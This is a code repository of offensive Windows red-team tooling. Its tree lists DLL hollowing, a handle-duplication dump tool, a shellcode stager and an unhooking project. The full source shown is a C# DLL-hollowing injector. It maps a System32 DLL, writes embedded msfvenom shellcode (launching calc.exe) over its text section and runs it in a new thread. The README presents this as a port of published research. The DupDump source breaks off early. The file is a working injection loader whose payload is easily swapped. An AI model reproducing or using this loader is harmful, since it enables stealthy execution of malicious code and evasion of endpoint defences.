├── DLLHollow
├── DLL-Hollow.cs
└── README.md
├── DupDump
├── DupDump.cs
└── Invoke-Dupdump.ps1
├── README.md
├── SQL
├── sql.cs
└── sql.exe
├── Stager
├── Makefile
├── README.md
├── adjuststack.asm
├── adjuststack.o
├── linker.ld
├── opcodes.sh
├── peb-lookup.h
└── stager.cpp
├── UnhookShellcode
├── Makefile
├── README.md
├── adjuststack.asm
├── adjuststack.o
├── dll-unook.cpp
├── dll-unook.o
├── linker.ld
├── opcodes.sh
└── peb-lookup.h
└── manual-map-csharp.cs
/DLLHollow/DLL-Hollow.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Diagnostics;
4 | using System.Runtime.InteropServices;
5 |
6 | /*
7 | Based on the awesome research and C++ POC found here https://github.com/forrest-orr/phantom-dll-hollower-poc and here https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing.
8 |
9 | Loads the first DLL that fits the parameters and injects msfvenom shellcode to pop calc.exe with DLL Hollowing.
10 |
11 | */
12 | namespace DllHollow
13 | {
14 | public class DllHollow
15 | {
16 | [Flags]
17 | public enum FileAccess : uint
18 | {
19 | //
20 | // Standart Section
21 | //
22 |
23 | AccessSystemSecurity = 0x1000000, // AccessSystemAcl access type
24 | MaximumAllowed = 0x2000000, // MaximumAllowed access type
25 |
26 | Delete = 0x10000,
27 | ReadControl = 0x20000,
28 | WriteDAC = 0x40000,
29 | WriteOwner = 0x80000,
30 | Synchronize = 0x100000,
31 |
32 | StandardRightsRequired = 0xF0000,
33 | StandardRightsRead = ReadControl,
34 | StandardRightsWrite = ReadControl,
35 | StandardRightsExecute = ReadControl,
36 | StandardRightsAll = 0x1F0000,
37 | SpecificRightsAll = 0xFFFF,
38 |
39 | FILE_READ_DATA = 0x0001, // file & pipe
40 | FILE_LIST_DIRECTORY = 0x0001, // directory
41 | FILE_WRITE_DATA = 0x0002, // file & pipe
42 | FILE_ADD_FILE = 0x0002, // directory
43 | FILE_APPEND_DATA = 0x0004, // file
44 | FILE_ADD_SUBDIRECTORY = 0x0004, // directory
45 | FILE_CREATE_PIPE_INSTANCE = 0x0004, // named pipe
46 | FILE_READ_EA = 0x0008, // file & directory
47 | FILE_WRITE_EA = 0x0010, // file & directory
48 | FILE_EXECUTE = 0x0020, // file
49 | FILE_TRAVERSE = 0x0020, // directory
50 | FILE_DELETE_CHILD = 0x0040, // directory
51 | FILE_READ_ATTRIBUTES = 0x0080, // all
52 | FILE_WRITE_ATTRIBUTES = 0x0100, // all
53 |
54 | //
55 | // Generic Section
56 | //
57 |
58 | GenericRead = 0x80000000,
59 | GenericWrite = 0x40000000,
60 | GenericExecute = 0x20000000,
61 | GenericAll = 0x10000000,
62 |
63 | SPECIFIC_RIGHTS_ALL = 0x00FFFF,
64 | FILE_ALL_ACCESS =
65 | StandardRightsRequired |
66 | Synchronize |
67 | 0x1FF,
68 |
69 | FILE_GENERIC_READ =
70 | StandardRightsRead |
71 | FILE_READ_DATA |
72 | FILE_READ_ATTRIBUTES |
73 | FILE_READ_EA |
74 | Synchronize,
75 |
76 | FILE_GENERIC_WRITE =
77 | StandardRightsWrite |
78 | FILE_WRITE_DATA |
79 | FILE_WRITE_ATTRIBUTES |
80 | FILE_WRITE_EA |
81 | FILE_APPEND_DATA |
82 | Synchronize,
83 |
84 | FILE_GENERIC_EXECUTE =
85 | StandardRightsExecute |
86 | FILE_READ_ATTRIBUTES |
87 | FILE_EXECUTE |
88 | Synchronize
89 | }
90 | [Flags]
91 | public enum FileShare : uint
92 | {
93 | ///
94 | ///
95 | ///
96 | None = 0x00000000,
97 | ///
98 | /// Enables subsequent open operations on an object to request read access.
99 | /// Otherwise, other processes cannot open the object if they request read access.
100 | /// If this flag is not specified, but the object has been opened for read access, the function fails.
101 | ///
102 | Read = 0x00000001,
103 | ///
104 | /// Enables subsequent open operations on an object to request write access.
105 | /// Otherwise, other processes cannot open the object if they request write access.
106 | /// If this flag is not specified, but the object has been opened for write access, the function fails.
107 | ///
108 | Write = 0x00000002,
109 | ///
110 | /// Enables subsequent open operations on an object to request delete access.
111 | /// Otherwise, other processes cannot open the object if they request delete access.
112 | /// If this flag is not specified, but the object has been opened for delete access, the function fails.
113 | ///
114 | Delete = 0x00000004
115 | }
116 | public enum FileMode : uint
117 | {
118 | ///
119 | /// Creates a new file. The function fails if a specified file exists.
120 | ///
121 | New = 1,
122 | ///
123 | /// Creates a new file, always.
124 | /// If a file exists, the function overwrites the file, clears the existing attributes, combines the specified file attributes,
125 | /// and flags with FILE_ATTRIBUTE_ARCHIVE, but does not set the security descriptor that the SECURITY_ATTRIBUTES structure specifies.
126 | ///
127 | CreateAlways = 2,
128 | ///
129 | /// Opens a file. The function fails if the file does not exist.
130 | ///
131 | OpenExisting = 3,
132 | ///
133 | /// Opens a file, always.
134 | /// If a file does not exist, the function creates a file as if dwCreationDisposition is CREATE_NEW.
135 | ///
136 | OpenAlways = 4,
137 | ///
138 | /// Opens a file and truncates it so that its size is 0 (zero) bytes. The function fails if the file does not exist.
139 | /// The calling process must open the file with the GENERIC_WRITE access right.
140 | ///
141 | TruncateExisting = 5
142 | }
143 | [Flags]
144 | public enum DataSectionFlags : uint
145 | {
146 | ///
147 | /// Reserved for future use.
148 | ///
149 | TypeReg = 0x00000000,
150 | ///
151 | /// Reserved for future use.
152 | ///
153 | TypeDsect = 0x00000001,
154 | ///
155 | /// Reserved for future use.
156 | ///
157 | TypeNoLoad = 0x00000002,
158 | ///
159 | /// Reserved for future use.
160 | ///
161 | TypeGroup = 0x00000004,
162 | ///
163 | /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
164 | ///
165 | TypeNoPadded = 0x00000008,
166 | ///
167 | /// Reserved for future use.
168 | ///
169 | TypeCopy = 0x00000010,
170 | ///
171 | /// The section contains executable code.
172 | ///
173 | ContentCode = 0x00000020,
174 | ///
175 | /// The section contains initialized data.
176 | ///
177 | ContentInitializedData = 0x00000040,
178 | ///
179 | /// The section contains uninitialized data.
180 | ///
181 | ContentUninitializedData = 0x00000080,
182 | ///
183 | /// Reserved for future use.
184 | ///
185 | LinkOther = 0x00000100,
186 | ///
187 | /// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
188 | ///
189 | LinkInfo = 0x00000200,
190 | ///
191 | /// Reserved for future use.
192 | ///
193 | TypeOver = 0x00000400,
194 | ///
195 | /// The section will not become part of the image. This is valid only for object files.
196 | ///
197 | LinkRemove = 0x00000800,
198 | ///
199 | /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
200 | ///
201 | LinkComDat = 0x00001000,
202 | ///
203 | /// Reset speculative exceptions handling bits in the TLB entries for this section.
204 | ///
205 | NoDeferSpecExceptions = 0x00004000,
206 | ///
207 | /// The section contains data referenced through the global pointer (GP).
208 | ///
209 | RelativeGP = 0x00008000,
210 | ///
211 | /// Reserved for future use.
212 | ///
213 | MemPurgeable = 0x00020000,
214 | ///
215 | /// Reserved for future use.
216 | ///
217 | Memory16Bit = 0x00020000,
218 | ///
219 | /// Reserved for future use.
220 | ///
221 | MemoryLocked = 0x00040000,
222 | ///
223 | /// Reserved for future use.
224 | ///
225 | MemoryPreload = 0x00080000,
226 | ///
227 | /// Align data on a 1-byte boundary. Valid only for object files.
228 | ///
229 | Align1Bytes = 0x00100000,
230 | ///
231 | /// Align data on a 2-byte boundary. Valid only for object files.
232 | ///
233 | Align2Bytes = 0x00200000,
234 | ///
235 | /// Align data on a 4-byte boundary. Valid only for object files.
236 | ///
237 | Align4Bytes = 0x00300000,
238 | ///
239 | /// Align data on an 8-byte boundary. Valid only for object files.
240 | ///
241 | Align8Bytes = 0x00400000,
242 | ///
243 | /// Align data on a 16-byte boundary. Valid only for object files.
244 | ///
245 | Align16Bytes = 0x00500000,
246 | ///
247 | /// Align data on a 32-byte boundary. Valid only for object files.
248 | ///
249 | Align32Bytes = 0x00600000,
250 | ///
251 | /// Align data on a 64-byte boundary. Valid only for object files.
252 | ///
253 | Align64Bytes = 0x00700000,
254 | ///
255 | /// Align data on a 128-byte boundary. Valid only for object files.
256 | ///
257 | Align128Bytes = 0x00800000,
258 | ///
259 | /// Align data on a 256-byte boundary. Valid only for object files.
260 | ///
261 | Align256Bytes = 0x00900000,
262 | ///
263 | /// Align data on a 512-byte boundary. Valid only for object files.
264 | ///
265 | Align512Bytes = 0x00A00000,
266 | ///
267 | /// Align data on a 1024-byte boundary. Valid only for object files.
268 | ///
269 | Align1024Bytes = 0x00B00000,
270 | ///
271 | /// Align data on a 2048-byte boundary. Valid only for object files.
272 | ///
273 | Align2048Bytes = 0x00C00000,
274 | ///
275 | /// Align data on a 4096-byte boundary. Valid only for object files.
276 | ///
277 | Align4096Bytes = 0x00D00000,
278 | ///
279 | /// Align data on an 8192-byte boundary. Valid only for object files.
280 | ///
281 | Align8192Bytes = 0x00E00000,
282 | ///
283 | /// The section contains extended relocations.
284 | ///
285 | LinkExtendedRelocationOverflow = 0x01000000,
286 | ///
287 | /// The section can be discarded as needed.
288 | ///
289 | MemoryDiscardable = 0x02000000,
290 | ///
291 | /// The section cannot be cached.
292 | ///
293 | MemoryNotCached = 0x04000000,
294 | ///
295 | /// The section is not pageable.
296 | ///
297 | MemoryNotPaged = 0x08000000,
298 | ///
299 | /// The section can be shared in memory.
300 | ///
301 | MemoryShared = 0x10000000,
302 | ///
303 | /// The section can be executed as code.
304 | ///
305 | MemoryExecute = 0x20000000,
306 | ///
307 | /// The section can be read.
308 | ///
309 | MemoryRead = 0x40000000,
310 | ///
311 | /// The section can be written to.
312 | ///
313 | MemoryWrite = 0x80000000
314 | }
315 | public enum SubSystemType : ushort
316 | {
317 | IMAGE_SUBSYSTEM_UNKNOWN = 0,
318 | IMAGE_SUBSYSTEM_NATIVE = 1,
319 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
320 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
321 | IMAGE_SUBSYSTEM_POSIX_CUI = 7,
322 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
323 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
324 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
325 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
326 | IMAGE_SUBSYSTEM_EFI_ROM = 13,
327 | IMAGE_SUBSYSTEM_XBOX = 14
328 |
329 | }
330 | public enum DllCharacteristicsType : ushort
331 | {
332 | RES_0 = 0x0001,
333 | RES_1 = 0x0002,
334 | RES_2 = 0x0004,
335 | RES_3 = 0x0008,
336 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
337 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
338 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
339 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
340 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
341 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
342 | RES_4 = 0x1000,
343 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
344 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
345 | }
346 | public enum MagicType : ushort
347 | {
348 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
349 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
350 | }
351 | [StructLayout(LayoutKind.Sequential)]
352 | public struct IMAGE_DATA_DIRECTORY
353 | {
354 | public UInt32 VirtualAddress;
355 | public UInt32 Size;
356 | }
357 | [StructLayout(LayoutKind.Explicit)]
358 | public struct IMAGE_OPTIONAL_HEADER64
359 | {
360 | [FieldOffset(0)]
361 | public MagicType Magic;
362 |
363 | [FieldOffset(2)]
364 | public byte MajorLinkerVersion;
365 |
366 | [FieldOffset(3)]
367 | public byte MinorLinkerVersion;
368 |
369 | [FieldOffset(4)]
370 | public uint SizeOfCode;
371 |
372 | [FieldOffset(8)]
373 | public uint SizeOfInitializedData;
374 |
375 | [FieldOffset(12)]
376 | public uint SizeOfUninitializedData;
377 |
378 | [FieldOffset(16)]
379 | public uint AddressOfEntryPoint;
380 |
381 | [FieldOffset(20)]
382 | public uint BaseOfCode;
383 |
384 | [FieldOffset(24)]
385 | public ulong ImageBase;
386 |
387 | [FieldOffset(32)]
388 | public uint SectionAlignment;
389 |
390 | [FieldOffset(36)]
391 | public uint FileAlignment;
392 |
393 | [FieldOffset(40)]
394 | public ushort MajorOperatingSystemVersion;
395 |
396 | [FieldOffset(42)]
397 | public ushort MinorOperatingSystemVersion;
398 |
399 | [FieldOffset(44)]
400 | public ushort MajorImageVersion;
401 |
402 | [FieldOffset(46)]
403 | public ushort MinorImageVersion;
404 |
405 | [FieldOffset(48)]
406 | public ushort MajorSubsystemVersion;
407 |
408 | [FieldOffset(50)]
409 | public ushort MinorSubsystemVersion;
410 |
411 | [FieldOffset(52)]
412 | public uint Win32VersionValue;
413 |
414 | [FieldOffset(56)]
415 | public uint SizeOfImage;
416 |
417 | [FieldOffset(60)]
418 | public uint SizeOfHeaders;
419 |
420 | [FieldOffset(64)]
421 | public uint CheckSum;
422 |
423 | [FieldOffset(68)]
424 | public SubSystemType Subsystem;
425 |
426 | [FieldOffset(70)]
427 | public DllCharacteristicsType DllCharacteristics;
428 |
429 | [FieldOffset(72)]
430 | public ulong SizeOfStackReserve;
431 |
432 | [FieldOffset(80)]
433 | public ulong SizeOfStackCommit;
434 |
435 | [FieldOffset(88)]
436 | public ulong SizeOfHeapReserve;
437 |
438 | [FieldOffset(96)]
439 | public ulong SizeOfHeapCommit;
440 |
441 | [FieldOffset(104)]
442 | public uint LoaderFlags;
443 |
444 | [FieldOffset(108)]
445 | public uint NumberOfRvaAndSizes;
446 |
447 | [FieldOffset(112)]
448 | public IMAGE_DATA_DIRECTORY ExportTable;
449 |
450 | [FieldOffset(120)]
451 | public IMAGE_DATA_DIRECTORY ImportTable;
452 |
453 | [FieldOffset(128)]
454 | public IMAGE_DATA_DIRECTORY ResourceTable;
455 |
456 | [FieldOffset(136)]
457 | public IMAGE_DATA_DIRECTORY ExceptionTable;
458 |
459 | [FieldOffset(144)]
460 | public IMAGE_DATA_DIRECTORY CertificateTable;
461 |
462 | [FieldOffset(152)]
463 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
464 |
465 | [FieldOffset(160)]
466 | public IMAGE_DATA_DIRECTORY Debug;
467 |
468 | [FieldOffset(168)]
469 | public IMAGE_DATA_DIRECTORY Architecture;
470 |
471 | [FieldOffset(176)]
472 | public IMAGE_DATA_DIRECTORY GlobalPtr;
473 |
474 | [FieldOffset(184)]
475 | public IMAGE_DATA_DIRECTORY TLSTable;
476 |
477 | [FieldOffset(192)]
478 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
479 |
480 | [FieldOffset(200)]
481 | public IMAGE_DATA_DIRECTORY BoundImport;
482 |
483 | [FieldOffset(208)]
484 | public IMAGE_DATA_DIRECTORY IAT;
485 |
486 | [FieldOffset(216)]
487 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
488 |
489 | [FieldOffset(224)]
490 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
491 |
492 | [FieldOffset(232)]
493 | public IMAGE_DATA_DIRECTORY Reserved;
494 | }
495 | [StructLayout(LayoutKind.Sequential)]
496 | public struct IMAGE_DOS_HEADER
497 | {
498 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
499 | public char[] e_magic; // Magic number
500 | public UInt16 e_cblp; // Bytes on last page of file
501 | public UInt16 e_cp; // Pages in file
502 | public UInt16 e_crlc; // Relocations
503 | public UInt16 e_cparhdr; // Size of header in paragraphs
504 | public UInt16 e_minalloc; // Minimum extra paragraphs needed
505 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed
506 | public UInt16 e_ss; // Initial (relative) SS value
507 | public UInt16 e_sp; // Initial SP value
508 | public UInt16 e_csum; // Checksum
509 | public UInt16 e_ip; // Initial IP value
510 | public UInt16 e_cs; // Initial (relative) CS value
511 | public UInt16 e_lfarlc; // File address of relocation table
512 | public UInt16 e_ovno; // Overlay number
513 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
514 | public UInt16[] e_res1; // Reserved words
515 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
516 | public UInt16 e_oeminfo; // OEM information; e_oemid specific
517 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
518 | public UInt16[] e_res2; // Reserved words
519 | public Int32 e_lfanew; // File address of new exe header
520 |
521 | private string _e_magic
522 | {
523 | get { return new string(e_magic); }
524 | }
525 |
526 | public bool isValid
527 | {
528 | get { return _e_magic == "MZ"; }
529 | }
530 | }
531 | [StructLayout(LayoutKind.Explicit, Size = 20)]
532 | public struct IMAGE_FILE_HEADER {
533 | [FieldOffset(0)]
534 | public UInt16 Machine;
535 | [FieldOffset(2)]
536 | public UInt16 NumberOfSections;
537 | [FieldOffset(4)]
538 | public UInt32 TimeDateStamp;
539 | [FieldOffset(8)]
540 | public UInt32 PointerToSymbolTable;
541 | [FieldOffset(12)]
542 | public UInt32 NumberOfSymbols;
543 | [FieldOffset(16)]
544 | public UInt16 SizeOfOptionalHeader;
545 | [FieldOffset(18)]
546 | public UInt16 Characteristics;
547 | }
548 | [StructLayout(LayoutKind.Explicit)]
549 | public struct IMAGE_NT_HEADERS64
550 | {
551 | [FieldOffset(0)]
552 | public int Signature;
553 |
554 | [FieldOffset(4)]
555 | public IMAGE_FILE_HEADER FileHeader;
556 |
557 | [FieldOffset(24)]
558 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
559 | }
560 | [StructLayout(LayoutKind.Explicit)]
561 | public struct IMAGE_SECTION_HEADER
562 | {
563 | [FieldOffset(0)]
564 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
565 | public char[] Name;
566 |
567 | [FieldOffset(8)]
568 | public UInt32 VirtualSize;
569 |
570 | [FieldOffset(12)]
571 | public Int32 VirtualAddress;
572 |
573 | [FieldOffset(16)]
574 | public UInt32 SizeOfRawData;
575 |
576 | [FieldOffset(20)]
577 | public UInt32 PointerToRawData;
578 |
579 | [FieldOffset(24)]
580 | public UInt32 PointerToRelocations;
581 |
582 | [FieldOffset(28)]
583 | public UInt32 PointerToLinenumbers;
584 |
585 | [FieldOffset(32)]
586 | public UInt16 NumberOfRelocations;
587 |
588 | [FieldOffset(34)]
589 | public UInt16 NumberOfLinenumbers;
590 |
591 | [FieldOffset(36)]
592 | public DataSectionFlags Characteristics;
593 |
594 | public string Section
595 | {
596 | get { return new string(Name); }
597 | }
598 | }
599 |
600 |
601 | [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
602 | static extern UInt32 NtCreateSection(out IntPtr SectionHandle,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr MaximumSize,UInt32 SectionPageProtection,UInt32 AllocationAttributes,IntPtr FileHandle);
603 | [DllImport("ntdll.dll", SetLastError=true)]
604 | static extern uint NtMapViewOfSection(IntPtr SectionHandle,IntPtr ProcessHandle,out IntPtr BaseAddress,UIntPtr ZeroBits,UIntPtr CommitSize,ulong SectionOffset,out uint ViewSize,uint InheritDisposition,uint AllocationType,uint Win32Protect);
605 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
606 | public static extern IntPtr GetModuleHandle(string lpModuleName);
607 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
608 | public static extern IntPtr CreateFile(string filename,FileAccess access,FileShare share,IntPtr securityAttributes, FileMode creationDisposition,uint flagsAndAttribute,IntPtr templateFile);
609 | [DllImport("kernel32.dll", SetLastError = true)]
610 | static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer,uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
611 | [DllImport("kernel32.dll")]
612 | static extern bool SetFilePointer(IntPtr hFile, long liDistanceToMove,IntPtr lpNewFilePointer, uint dwMoveMethod);
613 | [DllImport("kernel32.dll")]
614 | static extern IntPtr GetCurrentProcess();
615 | [DllImport("kernel32.dll", SetLastError = true)]
616 | static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
617 | [DllImport("kernel32.dll")]
618 | static extern uint GetFileSize(IntPtr hFile, IntPtr lpFileSize);
619 | [DllImport("ntdll.dll")]
620 | static extern void NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer);
621 | [DllImport("kernel32.dll", SetLastError=true)]
622 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
623 |
624 | public static void Main()
625 | {
626 | IntPtr hThread = IntPtr.Zero;
627 |
628 | byte[] buf = new byte[276] {
629 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
630 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
631 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
632 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
633 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
634 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
635 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
636 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
637 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
638 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
639 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
640 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
641 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
642 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
643 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
644 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
645 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
646 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
647 | 0x63,0x2e,0x65,0x78,0x65,0x00 };
648 |
649 | IntPtr textAddr = Hollow(buf);
650 | NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), textAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero);
651 | WaitForSingleObject(hThread,0xFFFFFFFF);
652 | }
653 |
654 | private static IntPtr Hollow(byte[] payload)
655 | {
656 | uint SECTION_MAP_WRITE = 0x0002;
657 | uint SECTION_MAP_READ = 0x0004;
658 | uint SECTION_MAP_EXECUTE = 0x0008;
659 | uint SECTION_ALL_ACCESS = SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE;
660 | uint PAGE_READ_ONLY = 0x02;
661 | uint SEC_IMAGE = 0x1000000;
662 | uint PAGE_READWRITE = 0x04;
663 |
664 | String SystemDirectory = System.Environment.SystemDirectory;
665 | String[] files = Directory.GetFiles(SystemDirectory,"*.dll");
666 | IntPtr file = IntPtr.Zero;
667 | uint numBytesRead = 0;
668 | int payload_size = payload.Length;
669 | uint viewSize = 0;
670 |
671 | for (int i = 0; i < files.Length; i++)
672 | {
673 | string module = files[i];
674 | if (GetModuleHandle(module) == IntPtr.Zero)
675 | {
676 | file = CreateFile(module,FileAccess.GenericRead,FileShare.Read,IntPtr.Zero,FileMode.OpenExisting,0,IntPtr.Zero);
677 | uint lpFileSize = GetFileSize(file,IntPtr.Zero);
678 | byte[] fileBuffer = new byte[lpFileSize];
679 | bool fileRead = ReadFile(file,fileBuffer,lpFileSize,out numBytesRead,IntPtr.Zero);
680 | IntPtr fileBufPtr = Marshal.AllocHGlobal(fileBuffer.Length);
681 | Marshal.Copy(fileBuffer, 0, fileBufPtr, fileBuffer.Length);
682 | if (fileRead == true)
683 | {
684 | SetFilePointer(file,0,IntPtr.Zero,0);
685 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(fileBufPtr,typeof(IMAGE_DOS_HEADER));
686 | IntPtr ptrToNtHeaders = (fileBufPtr + dosHeader.e_lfanew);
687 | IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNtHeaders,typeof(IMAGE_NT_HEADERS64));
688 | IntPtr ptrToSectionHeader = (ptrToNtHeaders + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
689 | IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrToSectionHeader,typeof(IMAGE_SECTION_HEADER));
690 |
691 | string sectionName = new string(sectionHeader.Name);
692 | if (sectionName.Contains("text") && ntHeaders.OptionalHeader.SizeOfImage > payload_size && payload_size < sectionHeader.VirtualSize)
693 | {
694 | Console.WriteLine("Found usable DLL: "+files[i]);
695 | IntPtr baseAddr = IntPtr.Zero;
696 | IntPtr hSection = IntPtr.Zero;
697 |
698 | NtCreateSection(out hSection, SECTION_ALL_ACCESS,IntPtr.Zero,IntPtr.Zero,PAGE_READ_ONLY,SEC_IMAGE,file);
699 | NtMapViewOfSection(hSection,GetCurrentProcess(),out baseAddr,UIntPtr.Zero,UIntPtr.Zero,0,out viewSize,1,0,PAGE_READ_ONLY);
700 | if (viewSize >= ntHeaders.OptionalHeader.SizeOfImage)
701 | {
702 | uint oldProtect = 0;
703 | IntPtr textAddress = IntPtr.Add(baseAddr,sectionHeader.VirtualAddress);
704 | bool a = VirtualProtect(textAddress,payload_size,PAGE_READWRITE,out oldProtect);
705 | Marshal.Copy(payload,0,textAddress,payload_size);
706 | bool b = VirtualProtect(textAddress,payload_size,oldProtect,out oldProtect);
707 | if (b == true)
708 | {
709 | return textAddress;
710 | }
711 | }
712 |
713 | }
714 |
715 | }
716 |
717 | }
718 | }
719 | return IntPtr.Zero;
720 | }
721 | }
722 | }
723 |
--------------------------------------------------------------------------------
/DLLHollow/README.md:
--------------------------------------------------------------------------------
1 | C# port of the PoC provided here https://github.com/forrest-orr/phantom-dll-hollower-poc and written about here https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing.
2 |
3 | This injection technique looked interesting and I wanted to make a C# version of it to further explore how it works. Hope you enjoy.
4 |
--------------------------------------------------------------------------------
/DupDump/DupDump.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.IO;
4 | using System.Diagnostics;
5 | using System.Collections.Generic;
6 | using System.Runtime.InteropServices;
7 |
8 | namespace SneakDump
9 | {
10 | public class SneakDump
11 | {
12 | ///
13 | /// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm?ts=0,242
14 | ///
15 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
16 | public struct SYSTEM_HANDLE_INFORMATION
17 | { // Information Class 16
18 | public ushort ProcessID;
19 | public ushort CreatorBackTrackIndex;
20 | public byte ObjectType;
21 | public byte HandleAttribute;
22 | public ushort Handle;
23 | public IntPtr Object_Pointer;
24 | public IntPtr AccessMask;
25 | }
26 |
27 | private enum OBJECT_INFORMATION_CLASS : int
28 | {
29 | ObjectBasicInformation = 0,
30 | ObjectNameInformation = 1,
31 | ObjectTypeInformation = 2,
32 | ObjectAllTypesInformation = 3,
33 | ObjectHandleInformation = 4
34 | }
35 |
36 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
37 | private struct OBJECT_NAME_INFORMATION
38 | { // Information Class 1
39 | public UNICODE_STRING Name;
40 | }
41 |
42 | [StructLayout(LayoutKind.Sequential)]
43 | private struct UNICODE_STRING
44 | {
45 | public ushort Length;
46 | public ushort MaximumLength;
47 | public IntPtr Buffer;
48 | }
49 |
50 | [Flags]
51 | private enum PROCESS_ACCESS_FLAGS : uint
52 | {
53 | All = 0x001F0FFF,
54 | Terminate = 0x00000001,
55 | CreateThread = 0x00000002,
56 | VMOperation = 0x00000008,
57 | VMRead = 0x00000010,
58 | VMWrite = 0x00000020,
59 | DupHandle = 0x00000040,
60 | SetInformation = 0x00000200,
